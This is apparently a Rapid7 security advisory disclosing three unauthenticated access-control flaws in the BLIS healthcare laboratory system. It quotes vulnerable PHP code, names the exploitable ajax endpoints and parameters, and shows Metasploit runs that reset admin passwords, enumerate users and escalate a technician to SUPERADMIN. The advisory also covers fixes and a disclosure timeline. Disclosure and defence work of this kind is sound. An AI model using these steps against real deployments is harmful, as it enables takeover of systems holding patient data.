Last updated at Tue, 03 Sep 2024 18:28:11 GMT
This disclosure describes R7-2019-09, composed of three vulnerabilities in the Basic Laboratory Information System (BLIS). Due to flawed authentication and authorization verification, versions of BLIS < 3.5 are vulnerable to unauthenticated password resets (R7-2019-09.1), and versions of BLIS < 3.51 are vulnerable to unauthenticated enumeration of facilities and usernames (R7-2019-09.2) as well as unauthenticated updates to user information (R7-2019-09.3).
These vulnerabilities are summarized in the table below along with current status, followed by exploitation information as well as potential impact and remediation actions users should take.
Summary | Rapid7 ID | CVE ID | CWE | CVSSv3 Base Score | Status |
---|---|---|---|---|---|
Unauthenticated password resets | R7-2019-09.1 | CVE-2019-5617 | CWE-284: Improper Access Control | 10.0 (CRITICAL) | Fixed in v3.5, generally available on April 17, 2019 |
Unauthenticated enumeration of facilities and usernames | R7-2019-09.2 | CVE-2019-5643 | CWE-284: Improper Access Control | 7.5 (High) | Fixed unauthenticated path in v3.5; non-admin path fixed in v3.51, generally available on Aug 24, 2019 |
Unauthenticated updates to user data, including admin privilege escalation | R7-2019-09.3 | CVE-2019-5644 | CWE-284: Improper Access Control | 10.0 (CRITICAL) | Fixed in v3.51, generally available on Aug 24, 2019 |
BLIS Product Description
The Basic Laboratory Information System (BLIS) is an open-source product that enables hospitals, laboratories, and other healthcare infrastructure to track patients, specimens, and laboratory results. BLIS is a joint initiative of Computing for Good (C4G) at the Georgia Institute of Technology, the Centers for Disease Control and Prevention (CDC), and the health ministries of several countries in Africa. More information on this software can be found on the C4G BLIS website.
Credit
These vulnerabilities were first discovered privately and reported internally by C4G BLIS team member Aditi Shah in December 2018. Jacob Robles of Rapid7 rediscovered and reported these issues in March of 2019 per Rapid7's vulnerability disclosure policy.
Exploitation of R7-2019-09
The following sections describe the path followed by Rapid7 in finding these vulnerabilities. References are made to three Metasploit exploit modules. These were written during the research to verify application vulnerability, and will be added to the public Metasploit Framework repo shortly after this disclosure is published.
R7-2019-09.1: Unauthenticated Password Reset
After loading the login page of BLIS v3.4, a Tip message is shown mentioning the ability to request a new password: “If you have forgotten your password then please send an email to 'c4gbackup@gmail.com' with the subject 'Password'. New password will be sent to you.” This could indicate that there might be a hardcoded password or a generic password reset available. As it turns out, there are a few files associated with password resets in the BLIS source:
$ find . -regex '.*password.*'
./includes/password_reset_need.php
./ajax/oneTime_password_reset_confirm.php
./ajax/password_reset_confirm.php
./users/oneTime_password_reset.php
./users/passwordReset.php
./users/password_reset.php
Looking at the beginning of ‘users/oneTime_password_reset.php’ in specific:
1 <?php
2 include("../includes/password_reset_need.php");
3 $password_reset_needed = password_reset_required();
4 if($password_reset_needed){
...
24 function ajax_reset_password()
25 {
26 //alert("test");
27
28 var username = document.reset_pwd.username.value;
29 var password = document.reset_pwd.password.value;
30 var confirmPassword = document.reset_pwd.confirmPassword.value;
31
32 if(password == '' || confirmPassword == '' || password != confirmPassword){
33 alert("Password is empty or doesn't match");
34 } else {
35 $('#progress_spinner').show();
36 var url = "ajax/oneTime_password_reset_confirm.php?username="+username+"&password="+password;
On line 3 a function is called to check if a password reset is required. If a reset is required then an AJAX request is included in the output. Line 36 defines a URL pointing to ajax/oneTime_password_reset_confirm.php
along with provided username and password values.
Continuing to ajax/oneTime_password_reset_confirm.php
, there doesn’t appear to be any verification of a session:
1 <?php
2 # Resets user password
3 # Generates a random string as new password and emails it.
4 include("../includes/db_lib.php");
5 include("../includes/user_lib.php");
...
15
16 $username = $_REQUEST['username'];
17 $new_password = $_REQUEST['password'];
18 $user_exists = check_user_exists($username);
19 if($user_exists == false)
20 {
21 $msg = "User <b>$username</b> not found. Please check the username entered.";
22 }
23 else
24 {
25 $user_profile = get_user_by_name($username);
26 if(is_admin($user_profile))
27 {
28 $password_changed = change_user_password_oneTime($username, $new_password);
29 if($password_changed === false)
30 {
31 $msg = "Error while resetting password. Please try again.";
32 }
33 else
34 {
35 $msg = "Password reset complete </u>";
36 }
37 }
38
39 else {
40 $msg = "You don't have enough previleges to reset your password. Contact your administrator </u>";
41 }
The validity of the provided username is checked on line 18. Additionally, line 26 checks to see if the specified user is an administrator or not. If the user is both valid and an administrator then the password is changed.
The Metasploit module below was created to demonstrate this vulnerability:
msf5 auxiliary(admin/http/c4g_blis_admin_reset) > options
Module options (auxiliary/admin/http/c4g_blis_admin_reset):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD newpass yes New password for the account
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.22.222.200 yes The target address range or CIDR identifier
RPORT 4001 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path
USERNAME testlab1_admin yes Administrator username
VHOST no HTTP server virtual host
msf5 auxiliary(admin/http/c4g_blis_admin_reset) > exploit
[+] Password changed. testlab1_admin:newpass
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/c4g_blis_admin_reset) > set username testlab1_tech1
username => testlab1_tech1
msf5 auxiliary(admin/http/c4g_blis_admin_reset) > exploit
[+] User exists in the database but is not an administrator
[-] Cannot update non-admin account
[*] Auxiliary module execution completed
The first exploitation successfully changes the password of testlab1_admin, an administrator level user. The second run shows that passwords of non-administrator level accounts cannot be reset using this vulnerability.
R7-2019-09.2: Unauthenticated Facility and Username Enumeration
Investigation of ajax/userlog_fetch.php
was also revealing:
50 # Execution begins here
51
52 $lab_config_id = $_REQUEST['l'];
53 $lab_config = get_lab_config_by_id($lab_config_id);
54 $user_id = $_REQUEST['u'];
55 $user = get_user_by_id($user_id);
56 $date_from = $_REQUEST['yf']."-".$_REQUEST['mf']."-".$_REQUEST['df'];
57 $date_to = $_REQUEST['yt']."-".$_REQUEST['mt']."-".$_REQUEST['dt'];
58 ?>
59 <br>
60 <b><?php echo LangUtil::$pageTerms['RECENT_ACTIVITY']; ?></b><br>
61 <?php echo LangUtil::$generalTerms['FACILITY']; ?>: <?php echo $lab_config->getSiteName(); ?> |
62 <?php echo LangUtil::$generalTerms['USERNAME']; ?>: <?php echo $user->username; ?>
Line 53 defines the $lab_config
variable based on the l
argument from the request, and line 55 defines the $user
variable based on the u
argument from the request. On lines 61 and 62, the facility name and username are echoed back in the response. Sending requests to ajax/userlog_fetch.php
and iterating l
and u
values makes it possible to enumerate facility and username values.
ajax/users_select.php
also assists in the enumeration:
1 <?php
2 # Returns a JSON list of usernames for a site location via Ajax
3 # Called from reports.php
4 include("../includes/db_lib.php");
5
6 function list_to_json($value_list, $json_params)
7 {
8 $count = 0;
9 $return_string = "";
10 $return_string .= "[";
11 foreach($value_list as $key => $value)
12 {
13 $return_string .= "{".$json_params[0].": ".$key.", ".$json_params[1].": '".$value."'}";
14 $count += 1;
15 if($count != count($value_list))
16 $return_string .= ", ";
17 }
18 $return_string .= "]";
19 return $return_string;
20 }
21
22 $user_list = get_users_by_site_map($_REQUEST['site']);
23 $json_params = array('optionValue', 'optionDisplay');
24 echo list_to_json($user_list, $json_params);
25 ?>
In line 22 the database is queried for users that are associated with the specified site
argument (equivalent to a facility). After enumerating facility IDs, users can be identified by making requests to ajax/users_select.php
. The Metasploit module below demonstrates this in action:
msf5 auxiliary(gather/c4g_blis_lab_user_brute) > options
Module options (auxiliary/gather/c4g_blis_lab_user_brute):
Name Current Setting Required Description
---- --------------- -------- -----------
LAB_MAX 127 yes Max lab id to use in requests
LAB_MIN 0 yes Min lab id to use in requests
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.22.222.200 yes The target address range or CIDR identifier
RPORT 4001 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path
USER_MAX 550 yes Max user id to use in requests
USER_MIN 500 yes Min user id to use in requests
VHOST no HTTP server virtual host
msf5 auxiliary(gather/c4g_blis_lab_user_brute) > exploit
[*] Enumerating Facilities:
[+] LabID: 8, Facility: ZXCV - bamenda
[+] LabID: 9, Facility: bambam - bar
[+] LabID: 10, Facility: bambam2 - bam
[+] LabID: 11, Facility: ras - rasd
[+] LabID: 126, Facility: Testlab2 - GT
[+] UserID: 66, Username: testlab2_tech1
[+] UserID: 67, Username: testlab2_tech2
[+] UserID: 63, Username: testlab2_admin
[+] LabID: 127, Facility: Testlab1 - GT
[+] UserID: 56, Username: testlab1_tech1
[+] UserID: 57, Username: testlab1_tech2
[+] UserID: 53, Username: testlab1_admin
[*] Enumerating Users:
[+] UserID: 501, Username: tanzania_dir
[+] UserID: 502, Username: drc_dir
[+] UserID: 503, Username: uganda_dir
[*] Auxiliary module execution completed
R7-2019-09.3: Unauthenticated User Updates
After finding that several of the files in the ajax
directory could be reached while unauthenticated, the source files were audited. ajax/lab_user_update.php
can be used to update user information in the backend database:
1 <?php
2 #
3 # Main page for updating a lab user account
4 # Called via Ajax from lab_user_edit.php
5 #
6
7 include("../includes/db_lib.php");
8 include("../includes/user_lib.php");
9
10 $saved_session = SessionUtil::save();
11
12 $user_id = $_REQUEST['id'];
13 $username = $_REQUEST['un'];
14 $fullname = $_REQUEST['fn'];
15 $email = $_REQUEST['em'];
16 $phone = $_REQUEST['ph'];
17 $new_pwd = $_REQUEST['p'];
18 $level = $_REQUEST['lev'];
19 $lang_id = $_REQUEST['lang'];
20 $rwoptions = $_REQUEST['opt'];
21
22 if($level == $LIS_TECH_RW)
23 {
24 if($_REQUEST['showpname'] == 1)
25 {
26 $level = $LIS_TECH_SHOWPNAME;
27 }
28 }
29
30 $user = new User();
31 $user->userId = $user_id;
32 $user->username = $username;
33 $user->actualName = $fullname;
34 $user->email = $email;
35 $user->phone = $phone;
36 $user->password = $new_pwd;
37 $user->level = $level;
38 $user->langId = $lang_id;
39 $user->rwoption = $rwoptions;
40
41 update_lab_user($user);
42
43 SessionUtil::restore($saved_session);
44 ?>
Here the username
, password
, and several other parameters can be set. One important value is the $level
, which can be used to change the role/access level of the user account to super administrator, administrator, or various technician account types. These roles are defined in includes/user_lib.php
:
7 // List of known user roles (These could be fetched from DB and populated)
8 $LIS_TECH_RW = 0;
9 $LIS_TECH_RO = 1;
10 $LIS_ADMIN = 2;
11 $LIS_SUPERADMIN = 3;
12 $LIS_COUNTRYDIR = 4;
13 $LIS_CLERK = 5;
14 $LIS_TECH_SHOWPNAME = 13;
15 // New user levels for technicians
16 // Regn, Results, Reports
17 $LIS_001 = 6;
18 $LIS_010 = 7;
19 $LIS_011 = 8;
20 $LIS_100 = 9;
21 $LIS_101 = 10;
22 $LIS_110 = 11;
23 $LIS_111 = 12;
24
25 $LIS_VERIFIER = 15;
26 $READONLYMODE = 16;
27 $LIS_PHYSICIAN = 17;
Setting $level
to 2 or 3 will upgrade the user to ADMIN or SUPERADMIN privileges, respectively. This is demonstrated in the Metasploit module below:
msf5 auxiliary(admin/http/c4g_blis_admin_reset) > options
Module options (auxiliary/admin/http/c4g_blis_admin_reset):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD newpass yes New password for the account
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.22.222.200 yes The target address range or CIDR identifier
RPORT 4001 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path
USERNAME testlab1_tech1 yes Administrator username
VHOST no HTTP server virtual host
msf5 auxiliary(admin/http/c4g_blis_admin_reset) > exploit
[+] User exists in the database but is not an administrator
[-] Cannot update non-admin account
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/c4g_blis_admin_reset) > use admin/http/c4g_blis_update_user
msf5 auxiliary(admin/http/c4g_blis_update_user) > options
Module options (auxiliary/admin/http/c4g_blis_update_user):
Name Current Setting Required Description
---- --------------- -------- -----------
FULLNAME test yes Account Full Name
LEVEL SUPERADMIN yes New Account Level (Accepted: TECH_RW, TECH_RO, ADMIN, SUPERADMIN, COUNTRYDIR)
PASSWORD mypass yes New password for the account
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.22.222.200 yes The target address range or CIDR identifier
RPORT 4001 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path
USERID 56 yes UserID for the account
USERNAME testlab1_tech1 yes Username of the account
VHOST no HTTP server virtual host
msf5 auxiliary(admin/http/c4g_blis_update_user) > exploit
[*] Request sent successfully
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/c4g_blis_update_user) > use auxiliary/admin/http/c4g_blis_admin_reset
msf5 auxiliary(admin/http/c4g_blis_admin_reset) > exploit
[+] Password changed. testlab1_tech1:newpass
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/c4g_blis_admin_reset) >
The module output above shows an attempt to reset the testlab1_tech1
user’s password using the password reset vulnerability (R7-2019-09.1). This fails the first time because testlab1_tech1
is not an administrator. However, once testlab1_tech1
is upgraded to a SUPERADMIN account using the user update vulnerability (R7-2019-09.3), the password reset vulnerability (R7-2019-09.1) is successful since testlab1_tech1
is then an administrator.
Aside from the password value, R7-2019-09.3 also allows an attacker to update many other user attributes including name, email address, phone number, access level/role, language, and permission to read and write other data.
Impact of R7-2019-09
These vulnerabilities enable attackers to perform several dangerous actions against instances of BLIS < v3.51:
- R7-2019-09.1: reset password of administrative users without authentication
- R7-2019-09.2: enumerate facility and user names in plaintext without authentication
- R7-2019-09.3: Change user attributes, including access level/role, without authentication
These three manifestations of the underlying authentication issue being present together also provides a few different paths for attackers to reach the same end. Consider an example attack workflow:
- Enumerate sites -> enumerate users per site
- Per user:
- if user is an administrator -> use R7-2019-09.1 or R7-2019-09.3 to change the user’s password
- if user is not an administrator -> use R7-2019-09.3 to change their role to administrator.
- Regardless of path, once the attacker has administrator access they can change info about any other user.
Several files in the ajax/
directory described above assume that the requests will come only from an authenticated session, but do not actually check for this in v3.4. Since the directory can be accessed directly, unauthenticated users can make requests to files in the directory as well. In general, aside from checking that provided parameter values are correct, session validity must be verified as well.
Note, C4G has confirmed that all known deployments of C4G BLIS are not connected directly to the internet as of the time of this disclosure, and thus, the risk to individual user data is fairly limited. However, C4G BLIS is preparing an internet-accessible hosted version for release later this year, and welcomes reports of potential vulnerabilities.
Remediation of R7-2019-09
C4G released version 3.51 of BLIS on Aug 24, 2019. This version is available here (both standalone package and updaters for older versions) and addresses all aspects of R7-2019-09 (CVE-2019-5617, CVE-2019-5643, CVE-2019-5644). BLIS system administrators are strongly advised to update BLIS instances to v3.51 as soon as possible.
Additionally, BLIS system administrators should isolate BLIS instances to the minimal network exposure required for user access. Consider using a VPN to limit access in concert with keeping BLIS instances on internal network segments available only through the VPN. BLIS instances should not be exposed to the open internet.
Finally, if administrators are using a fork of BLIS [BLIS Kenya, for example), they should verify that upstream changes from BLIS v3.51 have been merged in, and that any instances are updated accordingly.
Vendor Statement
C4G, Computing for Good, is a project-based initiative of Georgia Tech's college of Computing that started in 2008. It is offered through an annual course and continuing projects with direct partnerships, typically with nonprofits around the world. Existing deployments include several with the Centers for Disease Control, the Carter Center, and the United Way. The overall goal is to use computing ideas and artifacts to address societal problems including health, education, homelessness and inequality. C4G BLIS is a joint venture of C4G, CDC and several African ministries of health. It has been in continuous deployment, and available as free, open-source software since 2009. For more information, see http://blis.cc.gatech.edu.
Disclosure Timeline for R7-2019-09
- Jan 2019: Issues discovered by C4G
- Mar 2019: Issues found by Rapid7
- Wed, Mar 20, 2019: Initial disclosure to C4G
- Mon, Apr 15, 2019: Disclosure to CERT/CC, assigned
VU#548925
- Wed, Apr 17, 2019: Fix for CVE-2019-5617 released by C4G in BLIS v3.5
- Fri, Apr 25, 2019: Disclosed to Georgia Tech
- Sat, Aug 24, 2019: Fix for CVE-2019-5643 and CVE-2019-5644 released by C4G in BLIS v3.51
- Tue, Sep 10, 2019: Public disclosure via publication of this blog post